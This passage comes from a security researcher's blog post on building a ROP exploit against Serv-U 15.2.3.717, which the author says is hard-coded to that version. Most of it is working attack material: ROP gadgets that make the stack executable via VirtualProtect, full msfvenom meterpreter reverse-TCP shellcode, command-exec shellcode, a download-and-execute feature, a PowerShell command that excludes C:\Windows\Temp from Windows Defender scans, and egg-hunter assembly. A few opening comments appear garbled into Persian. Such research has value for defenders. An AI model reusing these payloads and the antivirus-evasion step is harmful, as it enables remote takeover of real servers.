    افزودن rsp، 0x38 # این قسمت از ابزار، نشانگر پشته را 0x38 بایت به سمت بالا حرکت می دهد.
                    # ما این را در اکسپلویت خود با رد کردن 0x38 بایت از خود حساب می کنیم
                    # بافر payload قبل از نوشتن مقدار بعدی در بافر.
    ret             # Return to the next gadget

    Finally I populate the first parameter: the address of our stack. The gadgets aren't perfect for this operation, but they work:

    # 1st gadget
    push rbp                # Push an address near our stack onto the head of the stack.
    pop rax                 # Pop the address off the stack into rax so that rax now contains the address of the stack.
    add byte ptr [rax]al  # Effective no operation in this context
    ret                     # Return to next gadget
    # 2nd gadget
    mov rcx, rax            # Put the (approximate) address of the stack into rcx
    ret

    At this point I have populated the registers and I just need to call VirtualProtect to make our shellcode executable:

    # Assuming we have address of VirtualProtect's trampoline in rax
    jmp [rax]
    ret

    And that's it! The part of the stack on which our shellcode resides is now executable.

    Shellcode

    I took standard shellcode generated by msfvenom and patched it at exploit runtime to do my bidding. For example, consider the Metasploit-compatible shellcode stager. It's generated like so:

    [2021-10-19T18:47:49Z] [email protected]:/ehome/haggis# msfvenom  -p 
    windows/x64/meterpreter/reverse_tcp LHOST=192.153.76.22 LPORT=443 -f c
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 510 bytes
    Final size of c file: 2166 bytes
    unsigned char buf[] =
    "xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
    "x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
    "x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
    "x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
    "x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
    "x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
    "x80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8b"
    "x48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41"
    "x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1"
    "xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
    "x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
    "x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
    "xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
    "x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
    "x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
    "x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
    "x49xbcx02x00x01xbbxc0x99x4cx16x41x54x49x89xe4"
    "x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
    "x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
    "x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
    "xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
    "x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
    "x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
    "xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
    "x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
    "x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
    "x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
    "xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
    "xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
    "x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
    "x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
    "x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
    "xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
    "xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5";

    The IP address to which the shellcode connects to download the second-stage shellcode is at these offsets:

    "xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
    "x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
    "x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
    "x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
    "x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
    "x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
    "x80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8b"
    "x48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41"
    "x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1"
    "xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
    "x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
    "x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
    "xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
    "x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
    "x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
    "x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
    "x49xbcx02x00"
    "PP"   # connect-back port       @ offs 244
    "HHHH" # connect-back IP address @ offs 246 
    "x41x54x49x89xe4"
    "x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
    "x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
    "x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
    "xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
    "x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
    "x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
    "xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
    "x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
    "x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
    "x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
    "xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
    "xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
    "x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
    "x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
    "x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
    "xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
    "xffxe7x58"

    My exploit simply patches in the IP:port specified on the command line at runtime. This makes it easy for the user/attacker to use arbitrary shellcode stagers / Sliver instances / Metasploit instances at runtime without having to generate new shellcode every time.

    I used the same trick for the command exec shellcode, which simply tacks on the user-specified commands to the end of the shellcode:

    shellcode = (
         b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
         b"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
         b"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
         b"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
         b"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
         b"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
         b"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
         b"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
         b"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
         b"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
         b"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
         b"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
         b"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
         b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
         b"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
         b"x87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"
         b"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
         b"x47x13x72x6fx6ax00x59x41x89xdaxffxd5"
    )
    
    rop[offs_NOP_sled+offs_NOP_sled_padding+267:] = shellcode + cmd.encode() + b"x00"

    Again, this saves the user generating new shellcode every time. Finally, I implemented a download + exec feature, which accepts a user-specified URL, downloads an executable from the URL to C:WindowsTempthen runs it. One little wrinkle I added is a PowerShell command to disable Windows Defender virus/malware scans from running in C:WindowsTemp so you can run completely unobfuscated Sliver/Meterpreter payloads without getting tripped up by Microsoft endpoint security.

    The PowerShell command to do this is:

    powershell -Command "& {Add-MpPreference -ExclusionPath c:windowstemp}"

    Without that command you'll find Windows Defender alerts on almost any payload you care to drop. Note: I don't recommend this for red team engagements because you'll still get caught by a zillion other controls. But for simple use cases, it's more than sufficient to pop a connect-back shell or Sliver session.

    I Almost Forgot About Unpivoting the Stack

    Sometimes it's necessary to return the stack pointer to whence it came so that the exploited process can resume execution and handle any errors/exceptions tidily. This exploit crashes Serv-U, but it automatically restarts. This is unacceptable in a lot of scenarios and making it not crash is left as an exercise for the reader.

    However, returning the stack to normal is an interesting problem because in ROP we don't usually save the stack pointer before pivoting to a different stack - the malicious ROP one. Getting it back generally involves querying the Thread Environment Block ("TEB") and Process Environment Block ("PEB") via the gs: segment register on 64-bit Intel/AMD Windows. These blocks are maintained by the operating system and provide thread-local storage for metadata about running threads.

    The TEB starts at gs:[0] with a pointer to the PEB at gs:[0x30]. The PEB contains the stack starting address at offset 0x10. The following code can be used to read it:

    # recover the original stack
    mov rax, 0x30
    mov rax, qword gs:[rax]     # Read address of PEB out of TEB
    add rax, 0x10               # Offset in PEB to pre-exploit stack frame address
    mov rax, qword ptr [rax]    # Dereference [rax] to read the stack frame address out of the PEB
    mov rdi, rax                # Store address of old stack frame in rdi

    In order to return rsp to the same address it contained at the very beginning of the exploit - at the point when call r9 first occurred - I need to find the precise address of the top of the old stack frame. This turns out to be easy because the stack frame contains return addresses in Serv-U.dllwhich as we saw earlier does not support ASLR.

    As a result I can simply look at a stack trace taken at the point call r9 is called and make note of the addresses there. For example, consider this stack trace taken from exactly the scenario just described:

    >0:013> k
     # Child-SP          RetAddr               Call Site
    00 0000009d`d2aff320 00000000`72111cb8     LIBEAY32!CRYPTO_ctr128_encrypt+0xc6
    01 0000009d`d2aff380 00000000`7218f41b     LIBEAY32!EVP_rc4_40+0x488
    02 0000009d`d2aff3d0 00000000`7210efaa     LIBEAY32!FINGERPRINT_premain+0x291b
    03 0000009d`d2aff410 00000001`8016086c     LIBEAY32!EVP_EncryptUpdate+0xda
    04 0000009d`d2aff460 00000001`80141795     Serv_U!CUPnPNotifyEvent::SetTimeout+0x22b7c
    05 0000009d`d2aff4a0 00000001`80141263     Serv_U!CUPnPNotifyEvent::SetTimeout+0x3aa5
    06 0000009d`d2aff4e0 00000001`80144fb0     Serv_U!CUPnPNotifyEvent::SetTimeout+0x3573
    07 0000009d`d2aff580 00000200`577f8dd7     Serv_U!CUPnPNotifyEvent::SetTimeout+0x72c0
    08 0000009d`d2aff650 00000200`577f8c5c     RhinoNET!CRhinoSocket::ProcessReceiveBuffer+0x33
    09 0000009d`d2aff690 00000200`577f6c4e     RhinoNET!CRhinoSocket::OnReceive+0x170
    0a 0000009d`d2aff6e0 00000200`577f32eb     RhinoNET!CRhinoProductSocket::OnReceive+0x3e
    0b 0000009d`d2aff710 00000200`577f356b     RhinoNET!CAsyncSocketX::DoCallBack+0x107
    0c 0000009d`d2aff740 00000200`577f350f     RhinoNET!CAsyncSocketX::ProcessAuxQueue+0x53
    0d 0000009d`d2aff770 00007fff`5ffda399     RhinoNET!CSocketWndX::OnSocketNotify+0x13
    0e 0000009d`d2aff7a0 00007fff`5ffd97af     mfc140u!CWnd::OnWndMsg+0xba9 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 2698] 
    0f 0000009d`d2aff920 00007fff`5ffd7093     mfc140u!CWnd::WindowProc+0x3f [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 2099] 
    10 0000009d`d2aff960 00007fff`5ffd7464     mfc140u!AfxCallWndProc+0x123 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 265]
    11 0000009d`d2affa50 00007fff`5fe7a509     mfc140u!AfxWndProc+0x54 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 417]
    12 0000009d`d2affa90 00007fff`90c60089     mfc140u!AfxWndProcBase+0x49 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCafxstate.cpp @ 299]
    13 0000009d`d2affad0 00007fff`90c5fa02     USER32!UserCallWinProcCheckWow+0x319
    14 0000009d`d2affc60 00000001`8016ea75     USER32!DispatchMessageWorker+0x1d2
    15 0000009d`d2affce0 00000001`8016eaed     Serv_U!CUPnPNotifyEvent::SetTimeout+0x30d85
    16 0000009d`d2affd50 00007fff`8ee36b4c     Serv_U!CUPnPNotifyEvent::SetTimeout+0x30dfd
    17 0000009d`d2affd80 00007fff`90954ed0     ucrtbase!thread_start+0x4c
    18 0000009d`d2affdb0 00007fff`9124e20b     KERNEL32!BaseThreadInitThunk+0x10
    19 0000009d`d2affde0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

    The first Serv-U stack frame is at index #4 and contains the saved return address for the instruction at:

    Serv_U!CUPnPNotifyEvent::SetTimeout + 0x22b7c:
    
    04 0000009d`d2aff460 00000001`80141795     Serv_U!CUPnPNotifyEvent::SetTimeout+0x22b7c

    The return address is 0x180141795 and always will be due to the absence of ASLR. Therefore to find the original stack I just hunt for 0x80141795 (the 4-byte DWORD equivalent of the 5-byte address 0x0180141795) starting at the address I pulled out of the PEB. I built the following egg hunter:

    # Egg hunter for the value 0x80141795 starting at the PEB's stack address.
    # No egg-not-found error handling because if this code is running then the 
    # stack frame we're looking for is guaranteed to exist.
    mov eax, 0x80141795           # saved RIP we want to find
    mov rcx, 0x4000               # how much memory will we search
    cld                           # clear DF, direction flag
    repne scasd eax, dword [rdi]  # find the saved stack ptr starting @ [rdi]
    mov rax, rdi                  # save the found stack address in rax    
    mov rdx, 0x140                # the top of the original stack frame is...
    sub rax, rdx                  # ...0x140 bytes upwards
    mov rsp, rax                  # pivot to the new (old!) stack

    You'll notice that some math is being done to subtract 0x140 from rax before writing it to rsp. This is to account for the fact that our egg - the saved return address - was not at the top of the stack frame list. In fact, it was index #4 and I need rsp to point at the frame index #0:

    # Child-SP           RetAddr               Call Site
    00 0000009d`d2aff320 00000000`72111cb8     LIBEAY32!CRYPTO_ctr128_encrypt+0xc6
    ...
    04 0000009d`d2aff460 00000001`80141795     Serv_U!CUPnPNotifyEvent::SetTimeout+0x22b7c

    The offset on the stack between #4 and #0 is 0x9dd2aff460 - 0x9dd2aff320 = 0x140 so I subtract that amount from rax before setting the stack pointer, rsp.

    One of the beautiful things about Radare2 is its ability to turn code into opcodes for shellcode. So the above code becomes:

     % cat /tmp/s.asm
    mov eax, 0x80141795
    mov rcx, 0x4000
    cld
    repne scasd eax, dword [rdi]
    mov rax, rdi
    mov rdx, 0x140
    sub rax, rdx
    mov rsp, rax
    % cat /tmp/s.asm | rasm2 -a x86 -b 64 -
    b89517148048c7c100400000fcf2af4889f848c7c2400100004829d04889c4

    Simple and elegant.

    Lastly, I could return most of the registers to their pre-exploit values before returning control of execution to the old stack; doing so is left as an exercise for the reader.

    In Summary

    This was a fun exploit, and I got lucky a few times! The fact that ASLR was disabled on the Serv-U dll was crazy lucky and saved a lot of hassle. 

    Other mitigations, such as Control Flow Guard ("CFG"), were also disabled. This again made it easy to write an exploit without having to work around restricted access to critical functions, such as GetProcAddress().

    It's worth pointing out that the method I use to calculate the address of the ROP stack can, on occasion, generate an address that isn't 64-bit aligned. As a result, when GetProcAddress() reaches a MOVAPS instruction (which requires memory addresses to be aligned) the exploit crashes. To make the exploit more reliable, the solution is to force the ROP stack to be located at an aligned address; this would require some wrangling and is left as an exercise for the reader.

    It should also be pointed out that the exploit is currently hard-coded for Serv-U 15.2.3.717. To build against other Serv-U versions would require a little work to recalculate the ROP gadget addresses in Serv-U.dll. Hopefully, we'd find the same gadgets in the other versions of Serv-U, but I haven't looked yet.

    Let us know what you think; you can connect with us on social media and follow us on GitHub for more exploits!

    For more information on our continuous offensive security platform, you can get in touch with us via the Cosmos page.

    Find Out First

    Be first to learn about latest tools, advisories, and findings.


    Carl livitt

    About the author,
    Carl Livitt

    Principal Researcher

    Carl Livitt is a Principal Researcher at Bishop Fox. He has decades of experience in mobile and application security, hardware and embedded devices, reverse engineering, and global-scale penetration testing.

    Carl is credited with the discovery of many vulnerabilities within both commercial and open-source software. He was brought in as a third-party expert to lead the team that confirmed several security issues with St. Jude Medical implantable devices. His work eventually led to an official communication from the FDA.

    Carl has served as a contributing author to Hacking Exposed Web Applications 3rd Edition as well as a technical advisor for Network Security Assessment 1st Edition. He has been interviewed on NPR and quoted in publications including USA Today and eWeek. Carl co-authored the iOS reverse engineering framework iSpy, which was featured at Black Hat USA's Tools Arsenal.

    More by Carl

    .

    Comments are closed.